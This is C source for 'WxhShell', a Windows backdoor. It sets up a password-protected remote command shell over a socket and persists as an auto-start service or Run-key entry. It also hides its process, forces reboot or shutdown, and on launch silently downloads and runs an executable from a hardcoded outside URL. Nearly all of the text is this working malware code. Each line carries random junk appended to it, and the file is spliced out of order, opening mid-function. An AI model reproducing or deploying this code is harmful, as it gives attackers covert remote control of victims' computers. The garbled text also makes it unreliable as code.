    if(Boot(SHUTDOWN)) Yn4)Zhkk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aM{@1m Bm  
    else { 9 rTz N  
    closesocket(wsh); n^AP"1l8?0  
    ExitThread(0); yS)- &t!;  
    } slge+xq\J  
    break; -jxWlO  
    } Du^x=;  
  // 获取shell Wm)-zvNY;  
  case 's': { p,w|=@=  
    CmdShell(wsh); hqs$yb  
    closesocket(wsh); 6h2x~@  
    ExitThread(0); ,2,SG/BB  
    break; @P_C%}(<  
  } 4`8IFK  
  // 退出 *H5PT  
  case 'x': { t=Z&eKDC  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); X'FEOF  
    CloseIt(wsh); }PI35i1!t  
    break; 9fP) Fwih  
    } ]-um\A4f  
  // 离开 8 "_Bq  
  case 'q': { r(: 8!=~K  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); [`.3f'")j  
    closesocket(wsh); .-SF$U_P*a  
    WSACleanup(); %2Epgh4?  
    exit(1); .Vo"AuC}  
    break; 3@^>#U   
        } .!JMPf"QEI  
  } -`!_h[   
  } cBifZv*l  
XogvtK*  
  // 提示信息 (PS$e~H s  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _W0OM[  
} CKv&Re  
  } vWU%ST  
+_qh)HX  
  return; ;Z ]<S_#-  
} 3ppuQ Q  
:E>&s9Yj?  
// shell模块句柄 iV?` i  
int CmdShell(SOCKET sock) %z*29iKlI  
{ m[Z6VHn  
STARTUPINFO si; jHAWK9fa  
ZeroMemory(&si,sizeof(si)); <S]KaDu^  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~J0,)_b%*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; n{dP@_>WS  
PROCESS_INFORMATION ProcessInfo; S dIGU[fm  
char cmdline[]="cmd"; W|ReLM\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "r8EC  
  return 0; +0]'| tF>  
} 2m_'z  
:T_'n,  
// 自身启动模式 8 +"10q-  
int StartFromService(void) 3->,So0Y  
{ B?SNea,I4  
typedef struct Kb-W tFx  
{ 7}Bj|]b)~  
  DWORD ExitStatus; 79D=d'e A  
  DWORD PebBaseAddress; |*:tyP%m^  
  DWORD AffinityMask; #G3` p!"  
  DWORD BasePriority; &yE1U#J(  
  ULONG UniqueProcessId; bE?'C h  
  ULONG InheritedFromUniqueProcessId; uie~'K\y  
}   PROCESS_BASIC_INFORMATION; %a5t15 9  
On=u#DxQ  
PROCNTQSIP NtQueryInformationProcess; |GtY*|  
k, f)2<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0Cl,8P  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; B &?fM~J  
Z<;U:aH?}  
  HANDLE             hProcess; ;SgD 5Ln}  
  PROCESS_BASIC_INFORMATION pbi; 2\VAmPG.Zs  
{AOG"T&<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %`#G92Z_  
  if(NULL == hInst ) return 0; Yp*,Jp1  
{>@QJlE0  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7i8eg*Gl  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :q^R `8;(t  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); lW p~t  
O#Z/+\U  
  if (!NtQueryInformationProcess) return 0; :c y >c2  
AH^e]<2-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~\$=w10  
  if(!hProcess) return 0; RlrZxmPV>O  
6B#('gxO  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; QC{u|  
wepwX y"  
  CloseHandle(hProcess); e 8,{|a  
5SUN.%y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); IZ*}idlkn/  
if(hProcess==NULL) return 0; Gzw@w{JBL  
-/>9c-F  
HMODULE hMod; f])M04<  
char procName[255]; i^*M^P3m  
unsigned long cbNeeded; 7:>sc]Z  
S ZlC4=6c  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `FZF2.N  
,h^r:g  
  CloseHandle(hProcess); 9~c~E/4!  
w?*z^y@  
if(strstr(procName,"services")) return 1; // 以服务启动 +Q)ULnie e  
D+sQPymI  
  return 0; // 注册表启动 TnNWO+ kg  
} mG2VZ>  
hGI+:Js6  
// 主模块 >7'+ye6z  
int StartWxhshell(LPSTR lpCmdLine) Z\Z,,g+WL  
{ &vkjmiAS  
  SOCKET wsl; jY/ARBC}H  
BOOL val=TRUE; BC! 6O/kr  
  int port=0; Z~p!C/B  
  struct sockaddr_in door; Fu7M0X'p  
+~Tu0?{Z 0  
  if(wscfg.ws_autoins) Install(); nIn2 *r  
%<} <'V0  
port=atoi(lpCmdLine); E1  |<Pt  
uvnI>gv  
if(port<=0) port=wscfg.ws_port; bb;(gK;F  
6)}B"Qd  
  WSADATA data; Z/<#n\>t0>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; h/2/vBs  
9 |.Ao  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   T#EFXHPr  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); r\2vl8X~  
  door.sin_family = AF_INET; "uKFOV?j&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @g-G =Ba  
  door.sin_port = htons(port); 2-dh;[4  
Nxk(mec"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _c2WqQ-05  
closesocket(wsl); a460|w6  
return 1; XF*.Jg]  
}  D!F 2l_  
Wd8R u/  
  if(listen(wsl,2) == INVALID_SOCKET) { 1J{fXh  
closesocket(wsl); s5D:  
return 1; z.oU4c  
} |=6_ xRyr  
  Wxhshell(wsl); Y$<D9f s3  
  WSACleanup(); h|bT)!|  
M`7y>Ud  
return 0; 6>`c1 \8f  
-*B`]  
} ~ #PLAP3-  
h Dk)Qg  
// 以NT服务方式启动 bsS:"/?>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /,s[#J   
{ L',mKOej  
DWORD   status = 0; 0uvzxmN  
  DWORD   specificError = 0xfffffff; +=BAslk  
"OmD@ EMT  
  serviceStatus.dwServiceType     = SERVICE_WIN32; $ s-Y%gc  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `~# < &w  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <a( }kk}  
  serviceStatus.dwWin32ExitCode     = 0; S($Su7g%_  
  serviceStatus.dwServiceSpecificExitCode = 0; s?rBE.g@}  
  serviceStatus.dwCheckPoint       = 0; 0w=R_C)s  
  serviceStatus.dwWaitHint       = 0; b2C`g]ibQ  
By)u-)g9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); VT%:zf  
  if (hServiceStatusHandle==0) return; (MLwQiop  
 ?K_ '@  
status = GetLastError(); *\G)z|^yx  
  if (status!=NO_ERROR) p{D4"Qn+P9  
{ !bnyJA  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1} %B%*N  
    serviceStatus.dwCheckPoint       = 0; aEt/NwgiQ  
    serviceStatus.dwWaitHint       = 0; aUU7{o_Z  
    serviceStatus.dwWin32ExitCode     = status; wkUlrL/~  
    serviceStatus.dwServiceSpecificExitCode = specificError; c{3wk7  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); T;5r{{  
    return; Q~{H@D`<  
  } "Gb1K9A im  
eHiy,IN  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `=lc<T^  
  serviceStatus.dwCheckPoint       = 0; IZ/m4~  
  serviceStatus.dwWaitHint       = 0; nkfZiyx  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); m908jI_So  
} AlXNg!j;5K  
'o_:^'c  
// 处理NT服务事件,比如:启动、停止 V[o`\|<  
VOID WINAPI NTServiceHandler(DWORD fdwControl) G fEX>  
{ qOih`dla  
switch(fdwControl) 7&qy5 y-Ap  
{ /U&Opo {aO  
case SERVICE_CONTROL_STOP: Uu 8,@W+  
  serviceStatus.dwWin32ExitCode = 0; `-h8vj5uG  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; u&mS8i}  
  serviceStatus.dwCheckPoint   = 0; phnV7D(E  
  serviceStatus.dwWaitHint     = 0; . mLK`c6  
  { #X 52/8G  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Eow_&#WW;P  
  } ",7Q   
  return; ?']5dD  
case SERVICE_CONTROL_PAUSE: {!t7[Ctb  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; x^4xq#Bb7  
  break; *t[. =_v  
case SERVICE_CONTROL_CONTINUE: D=m 'pL/pl  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; FCi U  
  break; N ,8/Y  
case SERVICE_CONTROL_INTERROGATE: jB{4\)  
  break; Qham^  
}; WmY``  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); mGp.3{j  
} s7Ub@  
^?7`;/  
// 标准应用程序主函数 ho##Z*O  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +gtrt^:]l  
{ ),G=s Oo  
X/iT)R]b  
// 获取操作系统版本 g35DV6  
OsIsNt=GetOsVer(); M`rl!Ci#  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  A) ;  
MrZh09y  
  // 从命令行安装 A C>`'Gx  
  if(strpbrk(lpCmdLine,"iI")) Install(); T!Hb{Cg*  
uwz)($~bp  
  // 下载执行文件 .pvi!NnL-  
if(wscfg.ws_downexe) { > ;/l)qk,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _?OW0x4  
  WinExec(wscfg.ws_filenam,SW_HIDE); `c<;DhNO  
} \,u_7y2 c  
f7m%|v!  
if(!OsIsNt) { )+:EJH~  
// 如果时win9x,隐藏进程并且设置为注册表启动 \"X!2  
HideProc(); gw, UQbnu  
StartWxhshell(lpCmdLine); e,t(q(L  
} U2bjFLd"  
else (p2K36,9m  
  if(StartFromService()) `s\?w5[  
  // 以服务方式启动 0NS<?p~_S  
  StartServiceCtrlDispatcher(DispatchTable); ?OkWe<:4  
else c-B cA  
  // 普通方式启动 $0 vb^  
  StartWxhshell(lpCmdLine); {zMU#=EC  
!o:f$6EA~C  
return 0; spt6]"Ni  
} &*+'>UEe5  
&l!4mxwr`  
3AU;>D^5  
7=;R& mqC  
=========================================== V5UF3'3;}  
_f$^%?^  
_d5QbTe  
i\,-oO  
rJGf .qJJ  
KET2Ws[w  
" \O2Rhz  
`$ 6rz  
#include <stdio.h> tfj:@Z5&$C  
#include <string.h> o,_? ^'@  
#include <windows.h>  C uB`CI  
#include <winsock2.h> "N`[r iq{  
#include <winsvc.h> uG,5BV.M  
#include <urlmon.h> f|\onHI)>  
f&Gt|  
#pragma comment (lib, "Ws2_32.lib") KrQ1GepJ  
#pragma comment (lib, "urlmon.lib") E=nIRG|g  
bbE!qk;hEP  
#define MAX_USER   100 // 最大客户端连接数 ?l9XAW t\  
#define BUF_SOCK   200 // sock buffer 4 o Fel.o  
#define KEY_BUFF   255 // 输入 buffer o]4*|ARPs  
5>[u `  
#define REBOOT     0   // 重启 Ff)8Q.m  
#define SHUTDOWN   1   // 关机 Zy`m!]G]80  
<3LbN FP  
#define DEF_PORT   5000 // 监听端口 aAD^^l#  
4K\G16'$v  
#define REG_LEN     16   // 注册表键长度 e|"WQ>  
#define SVC_LEN     80   // NT服务名长度 6 (]Dh;gC  
\NPmym_ 6J  
// 从dll定义API `sn^ysp  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); '=b/6@&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5IE#\FITO|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Ayxkv)%:@)  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *\ R ]NV  
pM4 :#%V  
// wxhshell配置信息 =;Au<|  
struct WSCFG { vS;RJg=  
  int ws_port;         // 监听端口 k\5c|Wq|g  
  char ws_passstr[REG_LEN]; // 口令 z&zP)>Pv  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,E S0NA  
  char ws_regname[REG_LEN]; // 注册表键名 -t!~%_WCv  
  char ws_svcname[REG_LEN]; // 服务名 <:+x+4ru  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *4\:8  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 xF!,IKlBBp  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Z^3rLCa  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >g1~CEMN#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 01t1Z}!y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +$ 'Zf0U  
D4eDHq  
}; oB(?_No7  
c"f-3kFv  
// default Wxhshell configuration 5_GYrR2  
struct WSCFG wscfg={DEF_PORT, =^M/{51j  
    "xuhuanlingzhe", DhKS pA  
    1, <cps2*'  
    "Wxhshell", 8\&X2[oAD  
    "Wxhshell", &6/[B_.  
            "WxhShell Service", \ 2M_\Q`NY  
    "Wrsky Windows CmdShell Service", %~4M+r6T  
    "Please Input Your Password: ",  -*1d!  
  1, ^O?/yV?4c  
  "http://www.wrsky.com/wxhshell.exe", <sb~ ^B  
  "Wxhshell.exe" P) Jgs  
    }; K@ I 9^b  
$*^7iT4q_t  
// 消息定义模块 *& BQTZ6  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; D+TD 95t  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 03$mYS_?  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `V}q-Zdy  
char *msg_ws_ext="\n\rExit."; f z'@_4hg  
char *msg_ws_end="\n\rQuit."; ZF!h<h&,  
char *msg_ws_boot="\n\rReboot..."; (nQ^  
char *msg_ws_poff="\n\rShutdown..."; KI"#f$2&  
char *msg_ws_down="\n\rSave to "; Snj'y,p[  
5'OrHk;u  
char *msg_ws_err="\n\rErr!"; bV^rsJm  
char *msg_ws_ok="\n\rOK!"; qU \w=  
q }3`|'3  
char ExeFile[MAX_PATH]; 5%Y3 Kwyy  
int nUser = 0; }7b%HTF=  
HANDLE handles[MAX_USER]; D}-/c"':}  
int OsIsNt; !z\h| wU+  
q`Go`v  
SERVICE_STATUS       serviceStatus; 'g}!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; E^ B'4  
?qb}?&1  
// 函数声明 g@d*\ P)  
int Install(void); Yj&F;_~   
int Uninstall(void); u+9hL4  
int DownloadFile(char *sURL, SOCKET wsh); ahusta  
int Boot(int flag); Ki;*u_4{  
void HideProc(void); O %\*@4zM  
int GetOsVer(void); NDN7[7E  
int Wxhshell(SOCKET wsl); `}p0VmD{NE  
void TalkWithClient(void *cs); A @i  
int CmdShell(SOCKET sock); W_JlOc!y  
int StartFromService(void); bL0yuAwF2  
int StartWxhshell(LPSTR lpCmdLine); z0 d.J1VW  
&T#;-`'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  eb ?x9h  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); D, k6$`  
" s,1%Ltt  
// 数据结构和表定义 ?e%ZOI  
SERVICE_TABLE_ENTRY DispatchTable[] = oh4E7yN  
{  {y)=eX9  
{wscfg.ws_svcname, NTServiceMain}, Fn wJ+GTu  
{NULL, NULL} Pd8![Z3  
}; S;Fi?M  
l5~os>  
// 自我安装 4VHn  \  
int Install(void) u2tfF  
{ EfqX y>W  
  char svExeFile[MAX_PATH]; Q-(zwAaE  
  HKEY key; ,<.V7(|t)  
  strcpy(svExeFile,ExeFile); `~cqAs}6]Q  
ez7A4>/  
// 如果是win9x系统,修改注册表设为自启动 M$ wC=b  
if(!OsIsNt) { 1 s\Wtw:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [|v][Hwv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %7hrk  
  RegCloseKey(key); ."g`3tVK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z*F3G#A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Lw1Yvtn  
  RegCloseKey(key); G0Iw-vf  
  return 0; wH*-(*N "  
    } d z|or9&  
  } W"scV@HKu  
} Zj(AJ*r  
else { x5pdS:  
#`^}PuQ  
// 如果是NT以上系统,安装为系统服务 5=-Q4d  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); u*eV@KK!  
if (schSCManager!=0) GC-5X`Sq  
{ cTifC1Pf  
  SC_HANDLE schService = CreateService hDDn,uzpd  
  ( [+Iz@0q  
  schSCManager, Q3'llOx  
  wscfg.ws_svcname, @NR>{Eg  
  wscfg.ws_svcdisp, y RqL9t  
  SERVICE_ALL_ACCESS, |]bsCmD  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , p%ki>p )E|  
  SERVICE_AUTO_START, PI {bmZ  
  SERVICE_ERROR_NORMAL, }{Pp]*I<A  
  svExeFile, 9X6h  
  NULL, 3l~^06D  
  NULL, }J}-//[A  
  NULL, +|3@=.V  
  NULL, <)Dj9' _J  
  NULL }RF(CwZr(  
  ); \  #F  
  if (schService!=0) hgG9m[?K  
  { iI T;K@&  
  CloseServiceHandle(schService); 2k~l$p>CN!  
  CloseServiceHandle(schSCManager); #~]zhHI  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Fe*R  
  strcat(svExeFile,wscfg.ws_svcname); C[cbbp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { CO/]wS  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (MM]N=Tw4  
  RegCloseKey(key); WCZjXDiwJ  
  return 0; gjyYCjF  
    } LE Nq_@$  
  } w{8xpAqm  
  CloseServiceHandle(schSCManager); NWESP U):w  
} J3V= 46Yc  
} fUWG*o9  
,L2ZinU:  
return 1; 6_o*y8s.  
} ,&A7iO  
^CYl\.Y@  
// 自我卸载 v4TQX<0s  
int Uninstall(void) <dWv?<o  
{ B3`5O[ 6  
  HKEY key; P= BZ+6DS  
o'aEY<mZ7  
if(!OsIsNt) { Y1\}5k{>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Evq IcZ  
  RegDeleteValue(key,wscfg.ws_regname); Pbn*_/H  
  RegCloseKey(key); /{J4:N'B>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L<cx:Vz  
  RegDeleteValue(key,wscfg.ws_regname); HVCe;eI  
  RegCloseKey(key); h+H%?:FX  
  return 0; AR%4D3Dma  
  } X,% 0/6*]  
} W+c<2?d:  
} _yx>TE2e  
else { ( $MlXBI  
oCv.Ln1;Z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); R%WCH?B<}  
if (schSCManager!=0) G$"h&Xy1c  
{ n38p!oS  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @i_FTN  
  if (schService!=0) sE<V5`Z=  
  { Q$W  
  if(DeleteService(schService)!=0) { $)i")=Hy  
  CloseServiceHandle(schService); x_}:D *aI  
  CloseServiceHandle(schSCManager); 6Pnjmw.HV  
  return 0; gs[uD5oo<  
  } ;8&3 dm]  
  CloseServiceHandle(schService); 2zA4vZkbcw  
  } ?!:ha;n  
  CloseServiceHandle(schSCManager); \:'/'^=#|  
} M/'sl;  
} Jt<_zn_FG  
H2\;%K 2  
return 1; 558V_y:  
} HWrO"b*tO  
-0 a/$h  
// 从指定url下载文件 49c:V,  
int DownloadFile(char *sURL, SOCKET wsh) #G|RnV%t$~  
{ Sv#XIMw{,  
  HRESULT hr; SM#]H-3  
char seps[]= "/"; lv<*7BCp  
char *token; {6|G@ ""O  
char *file; gCS<iBT(7  
char myURL[MAX_PATH]; /t57!&  
char myFILE[MAX_PATH]; D/xbF`  
10~k2{Z  
strcpy(myURL,sURL); [({nj`  
  token=strtok(myURL,seps); 7>0o&  
  while(token!=NULL) V7Lxfoa4  
  { c|y(2K)o[=  
    file=token; , kGc]{'W  
  token=strtok(NULL,seps); jD]~ AwRJ  
  } ZY={8T@  
x"=f+Mr  
GetCurrentDirectory(MAX_PATH,myFILE); GW@;}m(  
strcat(myFILE, "\\"); 1CD+B=pQG  
strcat(myFILE, file); LgU_LcoM*  
  send(wsh,myFILE,strlen(myFILE),0); rQs)O<jl  
send(wsh,"...",3,0); 8I?Wt W  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6r0krbN  
  if(hr==S_OK) %P/Jq#FE .  
return 0; _ QI\  
else BLdvyVFx  
return 1; ItVWO:x&v  
'RR~7h  
} k68T`Ub\W6  
d#Y^>"|$.  
// 系统电源模块 (!aNq(   
int Boot(int flag) LVfF[  
{ qPK*%Q<;  
  HANDLE hToken; Tya1/w4  
  TOKEN_PRIVILEGES tkp;  .Wj;%|  
A]0 St@  
  if(OsIsNt) { o Q2Fjj  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )h4 f\0  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); QB uMJm  
    tkp.PrivilegeCount = 1; |Q6.299  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $E~`\o%Ev  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &*,#5.  
if(flag==REBOOT) { )3}9K ^jS  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) I\{ 1u  
  return 0; 7 :xfPx  
} ~{g [<Qi  
else { ,, OW  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4<Utmr  
  return 0; c /HHy,  
} SCHP L.n  
  } ,t?B+$E  
  else { g`' !HGY  
if(flag==REBOOT) { F=e8IUr  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) O!#g<`r{K  
  return 0; b\kdKVh&  
} jyUjlYAAv`  
else { 3>AMII  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) W)2p@j59A  
  return 0; :Zbg9`d*  
} !qh]6%l  
} z6=Z\P+  
RuA*YV  
return 1; @ $ ;q ;  
} { ]{/t-=  
VU(v3^1"  
// win9x进程隐藏模块 %KhI>O<  
void HideProc(void) gjwn7_  
{ uM IIYS  
*20jz<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); qZtzO2Mt  
  if ( hKernel != NULL ) v6bGjVK[  
  { C=L>zOZ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); DS(}<HK{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); F3@phu${  
    FreeLibrary(hKernel); xQ-<WF1i  
  } |`2RShu  
?}tFN_X"  
return; '4+ ur`  
} {9&;Q|D z  
x_N'TjS^{  
// 获取操作系统版本 9}!qR|l3nR  
int GetOsVer(void) /tx]5`#@7]  
{ kX7C3qdmt  
  OSVERSIONINFO winfo; x:NY\._  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); r1`x=r   
  GetVersionEx(&winfo); A5I)^B<(  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) QC OM_$y  
  return 1; ifMRryN4  
  else S"bg9o  
  return 0; o4F2%0gJ  
} &ZlVWK~v  
l|JE#  
// 客户端句柄模块 NqazpB*  
int Wxhshell(SOCKET wsl) oi&VgnSk  
{ DZ'P@f)]  
  SOCKET wsh; '6iEMg&3  
  struct sockaddr_in client; #C74z$  
  DWORD myID; Z*]9E^  
O~#!l"0 L+  
  while(nUser<MAX_USER) Q^9_' t}X  
{ Jy`B!S_l  
  int nSize=sizeof(client); Fx_z6a  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _/s$ZCd  
  if(wsh==INVALID_SOCKET) return 1; ~zJbK. _  
:1. L}4"gg  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  ul6]!Iy  
if(handles[nUser]==0) urs,34h  
  closesocket(wsh); wY{-BuXv  
else F3[T.sf  
  nUser++; TTX5EDCrC  
  } Q2w_X8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); KEo ,m  
` xEx^P^7  
  return 0; O_ muD\  
} 1Kw+,.@d  
E!)xj.aS$  
// 关闭 socket f M :]&  
void CloseIt(SOCKET wsh) >-RQ]?^  
{ 4<w.8rR:A  
closesocket(wsh); +< Nn~1  
nUser--; t:x\kp  
ExitThread(0); ,hm\   
} :gv{F} ##  
\$~|ZwV{  
// 客户端请求句柄 :S{BbQ){]  
void TalkWithClient(void *cs) 2G & a{  
{ }<0BX\@I  
D :4[ ~A  
  SOCKET wsh=(SOCKET)cs; 7FP*oN?  
  char pwd[SVC_LEN]; XB;7!8|  
  char cmd[KEY_BUFF]; ~f&E7su-6+  
char chr[1]; w_"E*9  
int i,j; 13$%,q)  
hE'-is@7  
  while (nUser < MAX_USER) { *k7+/bU~~  
t9GR69v:?  
if(wscfg.ws_passstr) { xA2YG|RU=b  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kr^P6}'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B-Ll{k^  
  //ZeroMemory(pwd,KEY_BUFF); .O5Z8 p  
      i=0; *2>&"B09`  
  while(i<SVC_LEN) { 7J D' )  
WH#1 zv  
  // 设置超时 bI7Vwyz  
  fd_set FdRead; !]A  
  struct timeval TimeOut; &)# ihK_  
  FD_ZERO(&FdRead); b"<liGh"n-  
  FD_SET(wsh,&FdRead); TM__I\+Q  
  TimeOut.tv_sec=8; %vn"{3y>rF  
  TimeOut.tv_usec=0; 6fE7W>la  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); e-})6)XgA  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !,_u)4  
fh&nu"&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x xHY+(m  
  pwd=chr[0]; Z\bmW%av  
  if(chr[0]==0xd || chr[0]==0xa) { w8")w*9Lmg  
  pwd=0; XAD- 'i  
  break; D%[mWc@1I  
  } ih-#5M@  
  i++; VD;01"#'  
    } kYE9M8s;  
(U D nsF  
  // 如果是非法用户,关闭 socket H5/6TX72N  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); rK 8lBy:<  
} Fk&c=V;SU  
`P@<3]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <)C#_w)-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {r,.!;mHu  
E<rp7~#  
while(1) { nUaJzPl  
WMDl=6  
  ZeroMemory(cmd,KEY_BUFF); >>4qJ%bL  
0Uz"^xO["  
      // 自动支持客户端 telnet标准   d(ZO6Nr Q  
  j=0; ~gJwW+  
  while(j<KEY_BUFF) { R+hU8 pu  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); udK%>  
  cmd[j]=chr[0]; !NK1MU?T)  
  if(chr[0]==0xa || chr[0]==0xd) { : g7@PJND  
  cmd[j]=0; (' (K9@}  
  break; *xAqnk   
  } q_:4w$>  
  j++; 3oj' ytxN  
    } 4!{KWL`A  
J'6PmPzY|  
  // 下载文件 tH@Erh|%  
  if(strstr(cmd,"http://")) { DaQ?\uq  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); l K{hVqpt  
  if(DownloadFile(cmd,wsh)) etDk35!h~,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); )N{Pw$l_  
  else /s&9SYF  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eI}aQ]$ED  
  } k!j5tsiR  
  else { dw>C@c#"  
BGZ#wru  
